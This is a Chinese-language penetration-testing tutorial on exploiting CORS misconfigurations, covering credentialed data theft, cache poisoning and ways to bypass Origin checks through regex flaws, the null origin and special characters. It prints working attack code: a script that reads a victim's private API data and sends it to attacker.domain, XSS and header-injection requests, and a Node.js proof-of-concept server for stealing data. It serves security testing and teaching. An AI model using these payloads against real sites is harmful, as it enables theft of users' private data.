CORS

泄露用户数据

当“Access-Control-Allow-Credentials”设置为Ture时，利用这种CORS这种配置缺陷的基本技术就是创建一个JavaScript脚本去发送CORS请求，就像下面那样：

```
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open(“get”,”https://vulnerable.domain/api/private-data”,true);
req.withCredentials = true;
req.send();
function reqListener() {
location=”//attacker.domain/log?response=”+this.responseText;
};
```

用这样的代码黑客就可以通过有缺陷的“日志”接口偷到用户数据。
当带有目标系统用户凭据的受害者访问带有上述代码的页面的时候，浏览器就会发送下面的请求到“有漏洞服务器”

没有用户凭据的利用方式

在这种情况下，目标应用允许通过发送“Origin”去影响返回头“Access-Control-Allow-Origin”的值，但是不允许传输用户凭证
下面这个表简要说明基于CORS配置的可利用性

“ACCESS-CONTROL-ALLOW-ORIGIN” 值	是否可利用
https://attacker.com	是
null	是
*	是

如果不能携带用户凭据的话，那么就会减少攻击者的攻击面，并且很明显的是，攻击者将很难拿到用户的cookie。此外，会话固定攻击也是不可行的，因为浏览器会忽略应用设置的新的cookie。

绕过基于ip的身份验证

实际的攻击中总有意外，如果目标从受害者的网络中可以到达，但使用ip地址作为身份验证的方式。这种情况通常发生在缺乏严格控制的内网中。
在这种场景下，黑客会利用受害者的浏览器作为代理去访问那些应用并且可以绕过那些基于ip的身份验证。就影响而言，这个类似于DNS重绑定，但会更容易利用。

客户端缓存中毒

这种配置允许攻击者利用其他的漏洞。
比如，一个应用返回数据报文头部中包含“X-User”这个字段，这个字段的值没有经过验证就直接输出到返回页面上。

请求：

```
GET /login HTTP/1.1
Host: www.target.local
Origin: https://attacker.domain/
X-User: <svg/onload=alert(1)>
```

返回报文（注意：“Access-Control-Allow-Origin”已经被设置，但是“Access-Control-Allow-Credentials: true”并且“Vary: Origin”头没有被设置）

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.domain/
…
Content-Type: text/html
…
Invalid user: <svg/onload=alert(1)
```

攻击者可以把xss的exp放在自己控制的服务器中的JavaScript代码里面然后等待受害者去触发它。

```
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','http://www.target.local/login',true);
req.setRequestHeader('X-User', '<svg/onload=alert(1)>');
req.send();
function reqListener() {
location='http://www.target.local/login';
}
```

如果在返回报文中头部没有设置“Vary: Origin”，那么可以利用上面展示的例子，可以让受害者浏览器中的缓存中存储返回数据报文（这要基于浏览器的行为）并且当浏览器访问到相关URL的时候就会直接显示出来。（通过重定向来实现，可以用“reqListener()”这个方法）

如果没有CORS的话，上面的缺陷就没法利用，因为没有办法让受害者浏览器发送自定义头部，但是如果有了CORS，就可以用“XMLHttpRequest”做这个事情。

服务器端缓存中毒

另一种潜在的攻击方式是利用CORS的错误配置注入HTTP头部，这可能会被服务器端缓存下来，比如制造存储型xss
下面是攻击的利用条件：

- 存在服务器端缓存
- 能够反射“Origin“头部
- 不会检查“Origin”头部中的特殊字符，比如”\r"
  有了上面的先决条件，James Kettle展示了http头部注入的利用方式，他用这种方式攻击IE/Edge用户（因为他们使用“\r"(0x0d)作为的HTTP头部字段的终结符）
  请求

```
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
```

IE处理过后返回报文

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```

上面的请求不能直接拿来利用，因为攻击者没有办法保证受害者浏览器会提前发送畸形的头部。
如果攻击者能提前发送畸形的“Origin”头部，比如利用代理或者命令行的方式发送，然后服务器就会缓存这样的返回报文并且也会传递给其他人。
利用上面的例子，攻击者可以把页面的编码变成”UTF-7"，周所周知，这可能会引发xss漏洞

绕过技术

有时，需要信任不同的域或者所有的子域，所以开发者要用正则表达式或者其他的方法去验证有效性。
下面的部分列出了一系列的“起源”，可以用来绕过某些验证控制，以验证“起源”头的有效性。

下面的例子中的目标域一般指“target.local”

NULL源

CORS的规范中还提到了“NULL”源。触发这个源是为了网页跳转或者是来自本地HTML文件。
目标应用可能会接收“null"源，并且这个可能被测试者（或者攻击者）利用，意外任何网站很容易使用沙盒iframe来获取”null“源

```
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src='data:text/html,<script>**CORS request here**</script>'>
</iframe>
```

使用上面的iframe产生一个请求类似于下面这样

```
GET /handler
Host: target.local
Origin: null
```

如果目标应用接收”null"源，那么服务器将返回类似下面的数据报文

```
HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
```

这种错误配置经常会碰到，所以会很方便的去尝试它。

使用目标域名作为子域名

如果目标应用只检查只检查“Origin”中的字符串是否包含“target.local”，那么就可以在自己控制的服务器上创建一个子域名。
用这样的方式，请求一般产生自JavaScript代码，并且请求中的“Origin”会像下面这样

```
Origin: https://target.local.attacker.domain
```

注册一个同名的域名

假设，目标应用实现是基于下面的正则表达式去检测“Origin”头部的话：

```
^https?:\/\/.*\.?target\.local$
```

这样的正则表达式包含一个问题，导则这样的CORS配置都容易被攻击。下面表格将分解正则表达式：

PART	描述
.*	除了终止符的任何字符
.	一个点
?	在这里匹配一个“.”一次或者零次

这个?只影响"."这个字符串，因此在“target.local”前面的任何字符串都是被允许的，而不管是否有"."把他们分开。
因此，只需要在“origin”末尾包含目标域名就可以绕过上面的限制（这个场景的的目标域名是“
target.local”），比如：

```
Origin: https://nottarget.local
```

攻击者只需要注册一个末尾包含目标域名的新域名就可以利用这样的漏洞了。

控制目标的子域名

现在目标应用实现是基于下面的正则表达式去检测“Origin”头部的话：

```
^https?:\/\/(.*\.)?target\.local$
```

这个允许来自”target.local“的跨域访问并且包含所有的子域名（来自HTTP和HTTPS协议）。
在这个场景中，如果攻击者能控制目标的有效的子域名（比如：
“subdomain.target.local”），比如接管一个子域名，或者找到一个有xss漏洞的子域名。攻击者就可以产生一个有效的CORS请求。

第三方域名

有时一些第三方域名会被允许。如果黑客能在这些域名里面上传JavaScript脚本的话，他们就可以攻击目标了。
最有代表性的例子是，Amazon S3存储桶的有时是被信任的。如果目标应用使用亚马逊的服务，那么来自亚马逊S3存储桶上的请求就会被信任。
在这种场景下，攻击者会控制一个S3的存储桶，并在上面放上恶意页面。

使用特殊的特性

Corban Leo展示了一个比较有趣的研究，他在域名中插入一些特殊的字符来绕过一些限制。
这个研究员的特殊字符法只能用在Safari浏览器上。但是，我们进行了深入的分析，显示其中一部分特殊字符串也可以用在其他的浏览器中。
这种规避技术所面临的问题是，在发送请求之前，浏览器不总是会去验证域名的有效性。因此，如果使用一些特殊的字符串，那么浏览器可能就不会提前发送请求去验证域名是否存在或者有效。
假设，目标应用实现是基于下面的正则表达式去检测“Origin”头部的话：

```
^https?:\/\/(.*\.)?target.local([^\.\-a-zA-Z0-9]+.*)?
```

上面的正则表达式的意思是,允许所有“target.local”的子域名的跨域请求，并且这些请求可以来自于子域名的任意端口。
下面是正则表达式的分解：

PART	描述
[^.-a-zA-Z0-9]	所有的字符串包含".","-","a-z","A-Z","0-9"
+	匹配前面的子表达式一次或多次
.*	除了终止符的任何字符

这个正则表达式阻止前面例子中的攻击，因此前面的绕过技术不会起作用（除非你控制了一给合法的子域名）
下面的截屏展示了返回报文中没有“Access-Control-Allow-Origin” (ACAO) 和 “Access-Control-AllowCrendentials” (ACAC) 被设置。（使用前面的一种绕过技术）

因为，正则表达式匹配紧挨着的ASCII字母和".","-",在“target.local”后面的每一个字母都会被信任。

注意：当前浏览器只有Safari支持使用上面的域名（带“{”那个字符的），但是如果目标应用的正则表达式能够信任其他的特殊字母，那么就可以使用CORS的错误配置去攻击其他的浏览器啦。
下面这个表包含各个浏览器对特殊字符的“兼容性”
（注意：仅包含至少一个浏览器允许的特殊字符）

特殊字符	CHROME(V 67.0.3396)	EDGE(V 41.16299.371)	FIREFOX(V 61.0.1)	INTERNET EXPLORER(V 11)	SAFARI(V 11.1.1)	
!	NO	NO	NO	NO	YES	
=	NO	NO	NO	NO	YES	
$	NO	NO	YES	NO	YES	
&	NO	NO	NO	NO	YES	
'	NO	NO	NO	NO	YES	
(	NO	NO	NO	NO	YES	
)	NO	NO	NO	NO	YES	
*	NO	NO	NO	NO	YES	
+	NO	NO	YES	NO	YES	
,	NO	NO	NO	NO	YES	
-	YES	NO	YES	YES	YES	
;	NO	NO	NO	NO	YES	
=	NO	NO	NO	NO	YES	
^	NO	NO	NO	NO	YES	
_	YES	YES	YES	YES	YES	
`	NO	NO	NO	NO	YES	
{	NO	NO	NO	NO	YES	
\		NO	NO	NO	NO	YES
}	NO	NO	NO	NO	YES	
~	NO	NO	NO	NO	YES	

利用前的准备：

- 泛解析域名要指向你的服务器
- NodeJS：因为Apache和Nginx(开箱即用)不支持特殊的字符
  创建一个serve.js 文件

```
var http = require('http');
var url = require('url');
var fs = require('fs');
var port = 80
http.createServer(function(req, res) {
if (req.url == '/cors-poc') {
  fs.readFile('cors.html', function(err, data) {
  res.writeHead(200, {'Content-Type':'text/html'});
  res.write(data);
res.end();
});
} else {
  res.writeHead(200, {'Content-Type':'text/html'});
  res.write('never gonna give you up...');
  res.end();
}
}).listen(port, '0.0.0.0'); console.log(`Serving on port ${port}`);
```

在相同的目录下创建cors.html

```
<html>
<head><title>CORS PoC</title></head>
<body onload="cors();">
<div align="center">
<h2>CORS Proof of Concept</h2>
<textarea rows="15" cols="70" id="container"></textarea> </div>
<script> function cors() {
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open("GET","http://www.target.local/api/private-data",true);
req.withCredentials = true;
req.send();
function reqListener() {
document.getElementById("container").innerHTML = this.responseText;
}
} </script>
```

现在启动NodeJS服务并且运行下面的指令：

```
node serve.js &
```

如果目标应用使用上面的表达式实现对“Origin”过滤的话，那么除了“.” 和“-“之外，“www.target.local”后面的每一个特殊字符都会被信任，因此当Safari浏览器完成的以下产生的有效请求后，攻击者能够从易受攻击的目标中窃取数据。

```
http://www.target.local{.<your-domain>/cors-poc
```

如果正则表达式支持下划线的话，那么可能其他的浏览器（在上面的表格中列出数据）也可以利用CORS配置错误了，就像下面的例子一样：

```
http://www.target.local_.<your-domain>/cors-poc
```

想要看更多关于绕过的文章可以去：https://www.sxcurity.pro/advanced-cors-techniques/